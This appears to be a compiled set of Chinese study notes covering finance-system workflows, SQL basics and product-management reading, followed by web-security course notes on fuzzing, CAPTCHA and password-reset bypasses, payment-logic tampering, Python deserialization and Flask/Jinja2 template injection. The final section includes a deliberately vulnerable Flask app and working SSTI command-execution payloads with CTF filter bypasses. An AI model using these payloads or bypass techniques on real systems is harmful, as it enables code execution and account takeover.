0%

知识框架:

  • 1、财务会计
  • 2、财务共享及预算
  • 3、管理会计
  • 4、UML

财务共享及预算:

  • 1.预算管理:
    (1)预算汇总
    全面预算-预算编制-【编制预算-编制方案、编制活动-确定-(编写白框-保存并计算-检查-审核-提交审批)/(导出excel-导入excel)/(归口预算/保存并计算-审核)】/【预算汇总-编制预算上级组织-费用预算表-汇总】/【报表汇总-汇总- 编制预算-审核-提交审批】
    特来电应用-任务中心-我的待办-预算审批单据-审批
    (2)预算调整
    全面预算-执行分析-【预算调整申请-新增调整单-调整表-打开-保存并计算-计算受影响-送审】/【预算调整汇总-汇总】/【归口预算调整-新增调整单-保存-调整表-预算组织打开-修改-保存并计算】
    (3)完成数据
    全面预算-执行分析-完成分析-数据预算表
    (4)报账
    财务共享-网上报账平台-我要报账-新建单据-对私通用费用报销单-保存-预算查询-提交

  • 2.业务招待费:
    财务共享-网上报账平台-我要报账–新建单据-对私费用-业务招待费报销单-填写-保存-提交

  • 3.保证金转费用:
    财务共享-网上报账平台-我要报账–新建单据-对公费用-保证金转费用报销单-电子影像-识别

  • 4.借款单:
    财务共享-网上报账平台-我要报账–新建单据-借还款-借款单-填写/【电子影像-非发票上传】-保存-提交

  • 5.值标控制方案定义和分配:
    全面预算-执行分析-【值标控制方案定义-新增方案-批量新增行】/【值标控制方案分配-新增-新增记录-保存】

  • 6.对公付款:
    财务共享-网上报账平台-我要报账–新建单据-对公费用-对公付款单-电子影像-关联对公费用报销单-保存-提交

  • 7.对公费用报销:
    财务共享-网上报账平台-我要报账–新建单据-对公费用-对公费用报销单-电子影像-关联对公预付款单-保存-提交

  • 8.对公预付款:
    财务共享-网上报账平台-我要报账–新建单据-对公费用-对公预付款单-电子影像-保存-提交

  • 9.对私通用报销单:
    财务共享-网上报账平台-我要报账–新建单据-对私费用-对私费用报销单-电子影像-借款核销-增加关联借款单-保存-提交

  • 10.工资付款单:
    财务共享-网上报账平台-我要报账-新建单据-总账、薪酬类-工资付款单-电子影像-获取SAP数据-保存-提交

  • 11.工资预提单:
    财务共享-网上报账平台-我要报账-新建单据-总账、薪酬类-工资预提单-获取SAO数据/新增-保存-提交

  • 12:工资预算占用:
    财务共享-网上报账平台-我要报账-新建单据-总账、薪酬类-工资付款单-获取SAP数据-工资付款审批表/预算占用/支付信息-保存-提交

  • 13.差旅费:
    财务共享-网上报账平台-我要报账-新建单据-对私费用-差旅费报销单-电子影像-填写-出差明细/预算占用 /支付信息/关联出差申请单/关联借款申请单/发票信息-保存-提交

  • 14.市内交通费:
    财务共享-网上报账平台-我要报账-新建单据-对私费用-市内交通费报销单-电子影像/费用明细/预算占用/支付信息-保存-提交

  • 15.应付付款单推送资金系统:
    财务会计-应付管理-付款单申请-核算组织-新增预付付款单-保存
    财务共享-网上报账平台-我要报账-预付付款单-提交
    财务共享-资金结算平台-单位结算确认-无直联回单确认-再去生成凭证

  • 16.总额追加:
    全面预算-执行分析-单位总额追加申请-新增-保存-提交

  • 17.招待费用:
    财务共享-网上报账平台-我要报账-新建单据-对私通用费用报销单-电子影像-识别-报销说明:报销招待费用-费用明细/预算占用/支付信息/借款核销-保存-提交

  • 18.社保公积金:
    财务共享-网上报账平台-我要报账-新建单据-总账、薪酬类-社保公积金付款-电子影像-【费用分摊部门-下载模板-导入模板】/【费用分摊业务线-增加/导入明细-下载模板导入模板】/支付信息-保存-提交

  • 19.职工团建费:
    财务共享-网上报账平台-我要报账-新建单据-对私费用-职工团建费用报销单-填写-保存-提交

  • 20.费用预提冲销:
    财务共享-网上报账平台-我要报账-新建单据-总账、薪酬类-费用预提单-填写-预算占用/申请单/【报销明细-增加】-保存-提交

  • 21.费用预提单:
    财务共享-网上报账平台-我要报账-新建单据-总账、薪酬类-费用预提单-填写-保存-提交

  • 22.长期待摊费用:
    财务共享-网上报账平台-我要报账-新建单据-对公费用-长期待摊费用报销单-填写-预算占用-保存-提交-

  • 23.预算总额控制:
    全面预算-执行分析-单位预算通知配置-新增-保存-单位预算总额配置-新增-保存-下达通知

  • 24.预算追加申请单:
    全面预算-执行分析-预算追加单-新增追加单-保存-费用预算表-打开-修改追加-保存并计算-关闭-计算受影响-送审

财务会计:

  • 1.销售管理:
    GS-供应链-销售管理-销售发票记账
    GS-财务会计-会计平台-单据生成-销售管理-销售发票-生成凭证
    GS-供应链-销售管理-销售成本结转-全选-自动结转-销售月结-月结

  • 2.采购管理:
    GS-供应链-采购管理-采购发票管理/采购发票记账

  • 3.库存管理:
    出库成本确认-出库成本计算
    金额调整单-金额调整审核-审核(单据生成-供应链-库存管理-采购入库-库存暂估收货/存货暂估差额)

  • 4.存货结算:
    财务会计-存货核算(web)-入库成本确认(web)/入库成本记账(web)/出库成本记账(web)/供应链月结(web)

  • 5.应付管理:
    待付款清单-审核-单据生成-财务会计-应付管理-采购付款
    待付款清单-审核-应付生成凭证
    应付月结处理
    应付期间维护-凭证撤销操作

  • 7.分包结算:
    web-特来电应用-分包结算管理-分包结算登记(完成状态)-会计平台-单据生成-采购管理-分包结算/分包发票(审核状态 )/分包付款 /【施工付款-特来电应用-分包结算管理-分包付款申请】

  • 8.递延:
    web-特来电应用-合同管理-【出租合同登记-查看-发票计划-GS-单据生成-供应链-销售管理-递延合同-凭证生成】/【电站服务合同登记 -发票计划-GS-单据生成-供应链-销售管理-租赁递延-资产租赁-生成凭证】

  • 9.固定资产转资:
    GS-财务会计-固定资产-【资产增加(投建)-增加】/【资产减少-新增】/【资产变更-新增-同步变更 】/资产确认/减少确认/变更确认/计提折旧/折旧分摊/月结/减值清单定义/【减值准备-计算市值】/生成凭证(资产减少)
    GS- 财务会计-会计平台-单据生成-供应链-库存管理-资产折旧-固定资产折旧/无形资产折旧/运营电站转资
    GS-财务会计-固定资产-资产明细余额表/资产折旧表
    web-财务会计-固定资产-【投扩建转资申请-新增-获取数据-保存-提交审核-投扩建转资稽核-稽核-生成固定资产-资产确认】/固定资产拆解申请/外采固定资产验收

  • 10.会计平台:
    GS-财务会计-会计平台-单据生成-

  • 11.基础报表:
    GS-信息披露-统计报表-报表填报- 本表审核-锁定本表
    GS-财务会计-总账-科目余额表

  • 12.凭证导入:
    GS-财务会计-总账-凭证-引入-下载模板

  • 13.往来模板:
    GS-财务会计-往来-核销依据定义-导入核销科目
    GS-财务会计-往来-核销依据定义-往来单据初始-读入月初余额
    GS-财务会计-往来-核销依据定义-往来核销启用-往来业务核销-批量转入-顺势全额核销-自动核销
    GS-财务会计-往来-核销依据定义-往来核销记录封存
    GS-财务会计-往来-期间坏账比率分析/期间坏账分析

  • 14.固定资产初始余额导入:
    GS-财务会计-固定资产-资产卡片维护-【下载模板-导入】/增加-界面布局-保存-初始完成

  • 15.应收单、应付单初期数据导入:
    GS-财务会计-应收管理-应收单据导入-下载模板/导入-应收帐户初始-应收初始完成-确定(单据状态:制单→初始完成)
    GS-财务会计-应付管理-应付单据导入-下载模板/导入-应付帐户初始-应付初始完成-确定

  • 16.总账科目余额初始导入:
    GS-财务会计-总账-余额初始-增加辅助/导出/导入-往来单位-金额-保存

财务会计思维导图:

财务会计

SQL学习笔记:

  • 1.SELECT 语句用于从数据库中选取数据
    SELECT * FROM Websites;
    SELECT name,country FROM Websites;

  • 2.SELECT DISTINCT 语句用于返回唯一不同的值
    SELECT DISTINCT country FROM Websites;

  • 3.WHERE 子句用于提取那些满足指定条件的记录
    SELECT * FROM Websites WHERE country=’CN’;
    SELECT * FROM Websites WHERE id=1;

  • 4.AND & OR 运算符用于基于一个以上的条件对记录进行过滤
    SELECT * FROM Websites WHERE country=’USA’ OR country=’CN’;
    SELECT * FROM Websites WHERE alexa > 15 AND (country=’CN’ OR country=’USA’);

  • 5.ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序
    SELECT * FROM websites ORDER BY alexa;

  • 6.INSERT INTO 语句用于向表中插入新记录
    INSERT INTO websites (name,url,alexa,country) VALUES (‘百度’,’https://www.baidu.com/','4','CN‘);

  • 7.UPDATE 语句用于更新表中已存在的记录
    UPDATE websites SET alexa=’5000’,country=’USA’ WHERE name=’菜鸟教程’;

  • 8.DELETE 语句用于删除表中的记录
    DELETE FROM websites WHERE name=’Facebook’ AND country=’USA’;

  • 9.SELECT TOP 语句用于在 SQL 中限制返回的结果集中的行数, 它通常用于只需要查询前几行数据的情况,尤其在数据集非常大时,可以显著提高查询性能(MySQL使用limit关键字)
    SELECT * FROM websites LIMIT 2;

  • 10.LIKE 操作符用于在 WHERE 子句中搜索列中的指定模式。LIKE 操作符是 SQL 中用于在 WHERE 子句中进行模糊查询的关键字,它允许我们根据模式匹配来选择数据,通常与 % 和 _ 通配符一起使用。
    SELECT * FROM websites WHERE name LIKE ‘G%’;

  • 11.通配符
    %        替代 0 个或多个字符
    _        替代一个字符
    SELECT * FROM websites WHERE url LIKE ‘%oo%’;

  • 12.IN 操作符允许您在 WHERE 子句中规定多个值
    SELECT * FROM websites WHERE name IN (‘Google’,’菜鸟教程’);

  • 13.BETWEEN 操作符选取介于两个值之间的数据范围内的值,这些值可以是数值、文本或者日期
    SELECT * FROM websites WHERE alexa BETWEEN 1 AND 20;
    SELECT * FROM websites WHERE alexa NOT BETWEEN 1 AND 20;
    SELECT * FROM Websites WHERE (alexa BETWEEN 1 AND 20) AND country NOT IN (‘USA’, ‘IND’);

  • 14.通过使用 SQL,可以为表名称或列名称指定别名
    SELECT name AS n,country AS c FROM websites;
    SELECT name, CONCAT(url, ‘, ‘, alexa, ‘, ‘, country) AS site_info FROM Websites;

  • 15.SQL JOIN 子句用于把来自两个或多个表的行结合起来,基于这些表之间的共同字段。最常见的 JOIN 类型:SQL INNER JOIN(简单的 JOIN)。 SQL INNER JOIN 从多个表中返回满足 JOIN 条件的所有行。
    SELECT websites.id,websites.name,access_log.count,access_log.date FROM websites INNER JOIN access_log ON websites.id=access_log.site_id;

  • 16.LEFT JOIN 关键字从左表(table1)返回所有的行,即使右表(table2)中没有匹配。如果右表中没有匹配,则结果为 NULL
    SELECT websites.name,access_log.count,access_log.date FROM websites LEFT JOIN access_log ON websites.id=access_log.site_id ORDER BY access_log.count DESC;

  • 17.RIGHT JOIN 关键字从右表(table2)返回所有的行,即使左表(table1)中没有匹配。如果左表中没有匹配,则结果为 NULL。
    SELECT websites.name,access_log.count,access_log.date FROM websites RIGHT JOIN access_log ON access_log.site_id=websites.id ORDER BY access_log.count DESC;

  • 18.SQL UNION 操作符合并两个或多个 SELECT 语句的结果。UNION 操作符用于合并两个或多个 SELECT 语句的结果集。它可以从多个表中选择数据,并将结果集组合成一个结果集。使用 UNION 时,每个 SELECT 语句必须具有相同数量的列,且对应列的数据类型必须相似。
    SELECT country FROM websites UNION SELECT country FROM apps ORDER BY country;
    SELECT country FROM websites UNION ALL SELECT country FROM apps ORDER BY country;

  • 19.INSERT INTO SELECT 语句从一个表复制数据,然后把数据插入到一个已存在的表中。目标表中任何已存在的行都不会受影响。
    INSERT INTO websites (name,country) SELECT app_name,country FROM apps;

知识框架:

  • 1、流程图、时序图、甘特图等
  • 2、Process On
  • 3、工具使用
  • 4、UML

各种图及工具教程链接:

学习结果示例:

Office:

Excel-甘特图
PPT-业务流程图

Axure:

Axure-业务流程图
Axure-页面流程图
QQ

Visio:

Visio-时序图
Visio-泳道图

摹客:

摹客1
摹客2

EA:

EA-类图
EA-用例图
EA-时序图

UML:

UML

知识框架:

  • 1、相关书籍《产品经理修炼之道》
  • 2、相关书籍《人人都是产品经理》

思维导图

《产品经理修炼之道》

产品经理修炼之道

《人人都是产品经理》

1、写给-1到3岁的产品经理
2、一个需求的奋斗史
3、项目的坎坷一生
4、我的产品,我的团队
5、别让灵魂跟不上脚步
6、产品经理的自我修养

思维导图

41WEB攻防

知识点:

  • 104、Fuzz技术应用-用户口令(弱口令)
  • 105、Fuzz技术应用-目录文件(泄漏点)
  • 106、Fuzz技术应用-未知参数(利用参数)
  • 107、Fuzz技术应用-Payload(Bypass)

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

1、Fuzz

    是一种基于黑盒的自动化软件模糊测试技术,简单的说一种懒惰且暴力的技术融合了常见的以及精心构建的数据文本进行网站、软件安全性测试。

2、Fuzz的核心思想:

口令Fuzz(弱口令)
目录Fuzz(漏洞点)
参数Fuzz(利用参数)
PayloadFuzz(Bypass)

3、Fuzz应用场景:
-爆破用户口令
-爆破敏感目录
-爆破文件地址
-爆破未知参数名
-Payload测漏洞(绕过等也可以用)
在实战黑盒中,目标有很多没有显示或其他工具扫描不到的文件或目录等,我们就可以通过大量的字典Fuzz找到的隐藏的文件进行测试。

4、Fuzz项目:
https://github.com/fuzzdb-project/fuzzdb
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/danielmiessler/SecLists

#Fuzz技术-用户口令-常规&模块&JS插件
https://github.com/c0ny1/jsEncrypter
https://github.com/whwlsfb/BurpCrypto

#Fuzz技术-目录文件-目录探针&文件探针
#Fuzz技术-未知参数名-文件参数&隐藏参数
#Fuzz技术-构造参数值-漏洞攻击恶意Payload

思维导图

41WEB攻防

知识点:

  • 100、验证码简单机制-验证码过于简单可爆破
  • 101、验证码重复使用-验证码验证机制可绕过
  • 102、验证码智能识别-验证码图形码被可识别
  • 103、验证码接口调用-验证码触发接口可枚举

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

验证码识别绕过等技术适用于:

口令存在爆破,接口枚举调用,任意用户注册等安全问题
1、验证码简单机制-验证码过于简单可爆破
2、验证码重复使用-验证码验证机制可绕过
3、验证码智能识别-验证码图形码被可识别
4、验证码接口调用-验证码触发接口可枚举

图片验证码-识别插件-登录爆破&接口枚举

自带白嫖版:https://github.com/smxiazi/NEW_xp_CAPTCHA
1、Burp加载插件
2、运行监听py文件
3、设置插件-验证码地址
4、数据包验证码填入参数
5、发包线程设置1后开始

接口收费版:https://github.com/smxiazi/xp_CAPTCHA
1、Burp加载插件
2、注册接口帐号充值
3、设置插件-填入帐号
4、数据包验证码填入参数
5、发包线程设置1后开始

图片验证码-重复使用-某APP短信接口滥用

删除验证码字段进行绕过或直接使用
Token sign 验证码等直接重复使用测试

##滑块验证码-宏命令-某Token&Sign&滑块案例
https://blog.csdn.net/shuryuu/article/details/104576559
同理也可以适用在Token,sign在页面代码中自动获取自动填入后绕过验证

思维导图

41WEB攻防

知识点:

  • 97、找回修改机制-验证码突破-回传显示&规律爆破
  • 98、找回修改机制-验证目标-重定向用户&重定向发送
  • 99、找回修改机制-验证逻辑-修改响应包&跳过步骤URL

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….


验证码突破-回传显示&规律爆破

演示:某APP验证码爆破 某目标回显显示
1、通过手机找回密码,响应包中包含短信验证码。
2、找回密码时使用位数较少的短信验证码,或者验证码没有设置有效时间限制,导致攻击者借助自动化工具在一定时间范围内爆破获得短信验证码,从而导致重置任意账号密码。

验证目标-重定向发送&重定向用户

演示:某CMS重定向用户 某CMS重定向发送
        1、当我们输入正确的手机号和正确的短信验证码,然后进入重置密码的最后一步,也就是输入新的密码,输入密码后提交到服务端的post数据包需要包含当前用户的身份信息。而一般网站是通过用户名或用户ID来标识用户身份的,如果这个用户名或用户ID没有和当前手机号、短信验证码进行绑定。也就是说服务端只验证用户名、ID是否存在,而不去验证用户和当前手机号是否匹配,那么我们就可以通过修改用户名、ID去修改其他用户的密码了。当然可以修改的地方不限于找回密码的数据包,比如修改资料的地方也可能存在这样的漏洞。
        2、如果数据包存在发送验证邮箱或目标地址,尝试修改到自己接受地,实现拦截获取

验证逻辑-修改响应包&跳过步骤URL

演示:某APP修改响应包 某APP跳过步骤URL
        1、通过手机找回密码一般需要短信验证码验证,服务端需要告诉客户端,输入的验证码是否正确,如果客户端收到true的信息,那么就会向带着true的信息向服务端请求进入下一步,而服务端收到true的信息,就会允许客户端进入下一步,反之,如果是false的信息,服务端就不会允许客户端进入下一步。也就是说我们进入下一步的关键是让服务端收到客户端的true信息,而借助burpsuite,我们可以修改服务端返回到客户端的信息,这样一来,我们就可以输入任意短信验证码,然后将服务端返回的false信息改为true就可以绕过短信验证码的验证了。
2、找回密码流程一般需要四个步骤:
流程:验证用户名-验证短信验证码-输入新密码-重置成功
        这四个步骤应该紧紧相连,互相相关,只有通过了第一个步骤验证才可以进入下一个步骤,如果每个步骤之间没有进行关联性验证,就可能导致跳过关键验证步骤,从而导致重置任意账号密码。

思维导图

41WEB攻防

知识点:

  • 94、支付逻辑-商品本身-修改-数量&价格&属性等
  • 95、支付逻辑-营销折扣-优惠券&积分&签约&试用等
  • 96、支付逻辑-订单接口-替换&并发&状态值&越权支付等

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

支付逻辑常见测试:

  • 1、熟悉常见支付流程
    选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付
  • 2、熟悉那些数据篡改
    商品ID,购买价格,购买数量,订单属性,折扣属性,支付方式,支付状态等
  • 3、熟悉那些修改方式
    替换支付,重复支付,最小额支付,负数支付,溢出支付,优惠券支付等
  • 4、熟悉那些另类方法
    无限试用,越权支付,并发兑换,四舍五入半价购,循环利用优惠券,支付签约逻辑等

支付逻辑如何挖掘:

  • 1、找到关键的数据包
    可能一个支付操作有三四个数据包,我们要对数据包进行挑选。
  • 2、分析数据包
    支付数据包中会包含很多的敏感信息(账号,金额,余额,优惠等)
    要尝试对数据包中的各个参数进行分析。
  • 3、不按套路出牌
    多去想想开发者没有想到的地方,如算法拼接,关闭开启返优惠券等
  • 4、PC端尝试过,APP端也看看,小程序也试试

支付逻辑安全修复:

1、在后端检查订单的每一个值,包括支付状态;
2、校验价格、数量参数,比如产品数量只能为整数,并限制最大购买数量 ;
3、与第三方支付平台检查,实际支付的金额是否与订单金额一致;
4、如给用户退款,要使用原路、原订单退回。如:退押金,按用户原支付订单原路退回;
5、加密、解密、数字签名及验证,这个可以有效避免数据修改,重放攻击中的各种问题;
6、金额超过指定值,进行人工审核等。

思维导图

41WEB攻防

知识点:

  • 91、逻辑越权-检测原理-水平&垂直&未授权
  • 92、逻辑越权-检测项目-BURP插件&对比项目
  • 93、SRC挖掘-实战越权及未授权挖掘分享案例

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….


逻辑越权-检测原理-水平&垂直&未授权

1、水平越权:同级别的用户之间权限的跨越
2、垂直越权:低级别用户到高级别用户权限的跨越
3、未授权访问:通过无级别用户能访问到需验证应用
PHPStudy + Metinfo4.0 + 会员后台中心

逻辑越权-检测项目-BURP插件&对比项目

实战:找到当前用户相关的参数名,添加返回包里面的参数名参数值去提交;
参数值请求数据加密:JS中找逆向算法,还原算法重新修改发包测试;
请求包带token:直接复用和删除测试。

思维导图

41WEB攻防

知识点:

  • 88、Python-PYC-反编译文件出源码
  • 89、Python-反序列化-调用链&魔术方法
  • 90、Python-格式化字符串-类魔术方法引用

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

Python-PYC-反编译文件出源码

        pyc文件是py文件编译后生成的字节码文件(byte code),pyc文件经过python解释器最终会生成机器码运行。因此pyc文件是可以跨平台部署的,类似Java的.class文件,一般py文件改变后,都会重新生成pyc文件。
真题:http://pan.baidu.com/s/1jGpB8DS
安装:pip install uncompyle6
使用:uncompyle6 -o test.py test.pyc
下载:https://github.com/rocky/python-uncompyle6

Python-反序列化-调用链&魔术方法

各类语言序列化和反序列化函数:
Java: Serializable Externalizable接口、fastjson、jackson、gson、ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject等
PHP: serialize()、 unserialize()
Python:pickle marshal json PyYAML shelve PIL unzip

序列化:把类对象转化为字节流或文件
反序列化:将字节流或文件转化为类对象

1
2
3
4
5
6
7
pickle.dump(obj, file) : 将对象序列化后保存到文件
pickle.load(file) : 将文件序列化内容反序列化为对象
pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
pickle.loads(bytes_obj) : 将字符串字节流反序列化为对象
PyYAML yaml.load()
JSON json.loads(s)
marshal

魔术方法:

1
2
3
4
reduce() 反序列化时调用
reduce_ex() 反序列化时调用
setstate() 反序列化时调用(类似于php的isset被设置)
getstate() 序列化时调用

1、序列化和反序列化演示-test.py
2、序列化和反序列化形成-test.py
3、序列化和反序列化利用-server.py pop.py
4、序列化和反序列化赛题-[watevrCTF-2019]Pickle Store
黑盒:Python反序列化特征:base64编码 前面gA固定(序列化数据)
测试:直接提交构造的payload测试

Python-格式化字符串-类魔术方法引用

https://xz.aliyun.com/t/3569
第一种:%操作符
第二种:string.Template
第三种:调用format方法 (可控格式化字符串)
第四种: f-Strings(可控格式化字符串)

思维导图

41WEB攻防

知识点:

  • 87、Python安全-SSTI注入-类型&形成&利用&项目

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__class__            类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性
__mro__ method resolution order,即解析方法调用的顺序;此属性是由类组成的元 组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且get_flashed_messages.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>

1、什么是SSTI

SSTI(Server Side Template Injection,服务器端模板注入)
服务端接收攻击者的输入,将其作为Web应用模板内容的一部分
在进行目标编译渲染的过程中,进行了语句的拼接,执行了所插入的恶意内容,从而导致信息泄露、代码执行、GetShell等问题,其影响范围取决于模版引擎复杂性,
注意:模板引擎和渲染函数本身是没有漏洞的,该漏洞产生原因在于模板可控引发代码注入

2、各语言框架SSTI

PHP:smarty、twig
Python:jinja2、mako、tornad、Django
java:Thymeleaf、jade、velocity、FreeMarker
其他:https://github.com/Pav-ksd-pl/websitesVulnerableToSSTI

3、Python-SSTI形成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)

@app.route('/')
def index():
name = request.args.get('name', default='xiaodi')
t = '''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
# 将一段字符串作为模板进行渲染
return render_template_string(t)
app.run()

4、Python-SSTI利用

判断利用

  • 1、看那些类可用
    1
    {{''.__class__.__base__.__subclasses__()}}
  • 2、找利用类索引
    1
    <class 'os._wrap_close'>
  • 3、找利用类方法
    1
    {{''.__class__.__base__.__subclasses__()[133].__init__.__globals__}}
  • 4、构造利用类方法
    1
    {{''.__class__.__base__.__subclasses__()[133].__init__.__globals__.popen('calc')}}
  • 5、其他:
    1
    2
    3
    {{[].__class__.__base__.__subclasses__()}}
    {{[].__class__.__base__.__subclasses__()[133].__init__.__globals__}}
    {{[].__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('calc')}}
  • 6、其他引用:
    1
    2
    3
    4
    config:{{config.__class__.__init__.__globals__['os'].popen('calc')}}
    url_for:{{url_for.__globals__.os.popen('calc')}}
    lipsum:{{lipsum.__globals__['os'].popen('calc')}}
    get_flashed_messages:{{get_flashed_messages.__globals__['os'].popen('calc')}}
    绕过限制-CtfShow项目
    参考:
    https://www.cnblogs.com/tuzkizki/p/15394415.html
    https://blog.csdn.net/m0_74456293/article/details/129429424

Web 361 无过滤

1
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('cat /flag').read()}}

Web 362 过滤数字2 3

1
?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

Web 363 过滤单引号

1
?name={{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag

Web 364 过滤单引号+args

1
?name={{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag

Web 365 过滤了中括号

1
?name={{url_for.__globals__.os.popen(request.values.c).read()}}&c=cat /flag

Web 366 过滤了下划线

1
?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag